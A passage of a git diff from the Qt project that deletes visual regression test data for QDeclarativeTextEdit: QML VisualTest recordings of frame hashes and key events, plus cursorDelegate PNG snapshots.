"e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 4032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 4080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 4288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 82 - modifiers: 0 - text: "72" - autorep: false - count: 1 - } - Frame { - msec: 4304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 4352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 4480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 4560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 84 - modifiers: 0 - text: "74" - autorep: false - count: 1 - } - Frame { - msec: 4624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 4688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4720 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 4752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "wrap.4.png" - } - Frame { - msec: 4816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 4832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4880 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 6 - key: 46 - modifiers: 0 - text: "2e" - autorep: false - count: 1 - } - Frame { - msec: 4896 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4912 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4928 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4944 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Key { - type: 7 - key: 46 - modifiers: 0 - text: "2e" - autorep: false - count: 1 - } - Frame { - msec: 4960 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5072 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5088 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5104 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5120 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5136 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5152 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5168 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5184 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5200 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5216 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5232 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5248 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5264 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5280 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5296 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5312 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5328 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5344 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5360 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5376 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5392 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5408 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5424 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5440 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5456 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5472 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5488 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5504 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5520 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5536 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5552 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5568 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5584 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5600 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5616 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5632 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5648 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5664 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5680 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5696 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5712 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5728 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5744 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5760 - image: "wrap.5.png" - } - Frame { - msec: 5776 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5792 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5808 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5824 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5840 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5856 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5872 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5888 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5904 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5920 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5936 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5952 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5968 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6064 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6080 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6096 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6112 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6128 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6144 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6160 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6176 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6192 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6208 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6224 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6240 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6256 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6272 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6288 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6304 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6320 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6336 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6352 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6368 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6384 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6400 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6416 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6432 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6448 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6464 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6480 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6496 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6512 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6528 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6544 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6560 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6576 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6592 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6608 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6624 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6640 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6656 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6672 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6688 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6704 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6720 - image: "wrap.6.png" - } - Frame { - msec: 6736 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6752 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6768 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6784 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6800 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6816 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6832 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6848 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6864 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.0.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.0.png deleted file mode 100644 index 555996a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.1.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.1.png deleted file mode 100644 index b705bad..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.2.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.2.png deleted file mode 100644 index 094cd2a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.3.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.3.png deleted file mode 100644 index 9c519c7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.4.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.4.png deleted file mode 100644 index 3ec77b5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.5.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.5.png deleted file mode 100644 index 579a66e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.6.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.6.png deleted file mode 100644 index 9e5ac90..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.7.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.7.png deleted file mode 100644 index 9f3acfc..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.8.png b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.8.png deleted file mode 100644 index f27518a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.qml deleted file mode 100644 index 8578d48..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.qml +++ /dev/null @@ -1,3555 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 32 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 48 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 64 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 80 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 96 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 112 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 128 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 144 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 160 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 176 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 192 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 208 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 224 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 240 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 256 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 272 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 288 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 304 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 320 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 336 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 352 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 368 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 384 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 400 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 416 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 432 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 448 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 464 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 480 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 496 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 512 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 528 - hash: "15da97430bcbac3a16d9897bbf2e4dbd" - } - Frame { - msec: 544 - hash: "2aec32493055ad17f4aac9b3c9b84c5f" - } - Frame { - msec: 560 - hash: "e0826ff09b628a5e3ddf6d9e5593f937" - } - Frame { - msec: 576 - hash: "eacfa8db605b9e386a55508e8943e7d1" - } - Frame { - msec: 592 - hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" - } - Frame { - msec: 608 - hash: "60a60e06237318bf005f87bbba386fef" - } - Frame { - msec: 624 - hash: "97549f388c02adb8884c2e79510adc7e" - } - Frame { - msec: 640 - hash: "d882fe91d9df9862d620cf984e27d0bd" - } - Frame { - msec: 656 - hash: "6310b65572e39256122c7620f7e87442" - } - Frame { - msec: 672 - hash: "4e7374a683050ff440056b6e7c971d2b" - } - Frame { - msec: 688 - hash: "35c0d55cda3a02eb4c441a5832bcbbf4" - } - Frame { - msec: 704 - hash: "8d71c418593eb3e4834d5e608ffd3f29" - } - Frame { - msec: 720 - hash: "0da2c1cd0138172698a3bee5d19168c5" - } - Frame { - msec: 736 - hash: "8ca757a4fd1987329488f63251b0f6b4" - } - Frame { - msec: 752 - hash: "70c827f1b34b44cbd775b666913556d6" - } - Frame { - msec: 768 - hash: "2b91dcef1b3ca66059dd9db4c8e335f3" - } - Frame { - msec: 784 - hash: "38abc77b2361ce257d39c0cf268ba42b" - } - Frame { - msec: 800 - hash: "59865194eb63465dd0f3925c7a500340" - } - Frame { - msec: 816 - hash: "7bed5747d6b771db0fe5802153e54f2f" - } - Frame { - msec: 832 - hash: "9ac1bf268749bc8e58bc4d04b55ef849" - } - Frame { - msec: 848 - hash: "64ea5cb46782d250c46a7a2c8cceea20" - } - Frame { - msec: 864 - hash: "d81037eb21bfcb434b6c7f3bbd21ad12" - } - Frame { - msec: 880 - hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" - } - Frame { - msec: 896 - hash: "96422f9bfbc11775cd7d1fae2ba357bd" - } - Frame { - msec: 912 - hash: "0d247385059a6f68b37bc34f6b2214b1" - } - Frame { - msec: 928 - hash: "7c513361e13a90eef229b42e68ffaa18" - } - Frame { - msec: 944 - hash: "510b8441c613f0637dfc46e03c278112" - } - Frame { - msec: 960 - image: "cursorDelegate.0.png" - } - Frame { - msec: 976 - hash: "8d90112e2e1c6f226a1a5f4f75785939" - } - Frame { - msec: 992 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1008 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1024 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1040 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1056 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1072 - hash: "60edce44dd4ca7fac8d8093990ee5ec1" - } - Frame { - msec: 1088 - hash: "8d90112e2e1c6f226a1a5f4f75785939" - } - Frame { - msec: 1104 - hash: "85e6af1f5fd15338a15f984e24d5ec9d" - } - Frame { - msec: 1120 - hash: "510b8441c613f0637dfc46e03c278112" - } - Frame { - msec: 1136 - hash: "7c513361e13a90eef229b42e68ffaa18" - } - Frame { - msec: 1152 - hash: "0d247385059a6f68b37bc34f6b2214b1" - } - Frame { - msec: 1168 - hash: "96422f9bfbc11775cd7d1fae2ba357bd" - } - Frame { - msec: 1184 - hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" - } - Frame { - msec: 1200 - hash: "d81037eb21bfcb434b6c7f3bbd21ad12" - } - Frame { - msec: 1216 - hash: "64ea5cb46782d250c46a7a2c8cceea20" - } - Frame { - msec: 1232 - hash: "9ac1bf268749bc8e58bc4d04b55ef849" - } - Frame { - msec: 1248 - hash: "7bed5747d6b771db0fe5802153e54f2f" - } - Frame { - msec: 1264 - hash: "59865194eb63465dd0f3925c7a500340" - } - Frame { - msec: 1280 - hash: "38abc77b2361ce257d39c0cf268ba42b" - } - Frame { - msec: 1296 - hash: "2b91dcef1b3ca66059dd9db4c8e335f3" - } - Frame { - msec: 1312 - hash: "70c827f1b34b44cbd775b666913556d6" - } - Frame { - msec: 1328 - hash: "8ca757a4fd1987329488f63251b0f6b4" - } - Frame { - msec: 1344 - hash: "0da2c1cd0138172698a3bee5d19168c5" - } - Frame { - msec: 1360 - hash: "8d71c418593eb3e4834d5e608ffd3f29" - } - Frame { - msec: 1376 - hash: "35c0d55cda3a02eb4c441a5832bcbbf4" - } - Key { - type: 6 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1392 - hash: "4e7374a683050ff440056b6e7c971d2b" - } - Frame { - msec: 1408 - hash: "6310b65572e39256122c7620f7e87442" - } - Frame { - msec: 1424 - hash: "d882fe91d9df9862d620cf984e27d0bd" - } - Frame { - msec: 1440 - hash: "97549f388c02adb8884c2e79510adc7e" - } - Frame { - msec: 1456 - hash: "60a60e06237318bf005f87bbba386fef" - } - Key { - type: 7 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1472 - hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" - } - Frame { - msec: 1488 - hash: "eacfa8db605b9e386a55508e8943e7d1" - } - Frame { - msec: 1504 - hash: "e0826ff09b628a5e3ddf6d9e5593f937" - } - Frame { - msec: 1520 - hash: "2aec32493055ad17f4aac9b3c9b84c5f" - } - Frame { - msec: 1536 - hash: "c0e72cdf776b0c62742aa9c3683cd523" - } - Frame { - msec: 1552 - hash: "ea3f512181b3ee94d8cdd4d9f59ed962" - } - Frame { - msec: 1568 - hash: "de924155855e76d0591217448f79bdb6" - } - Frame { - msec: 1584 - hash: "51da770a75102de9ad1920f1f6c44146" - } - Frame { - msec: 1600 - hash: "e3c0e8f6385ef2ab9b671be3243774c4" - } - Frame { - msec: 1616 - hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" - } - Frame { - msec: 1632 - hash: "2ee111386bd646c4ee577405e490a2f7" - } - Key { - type: 6 - key: 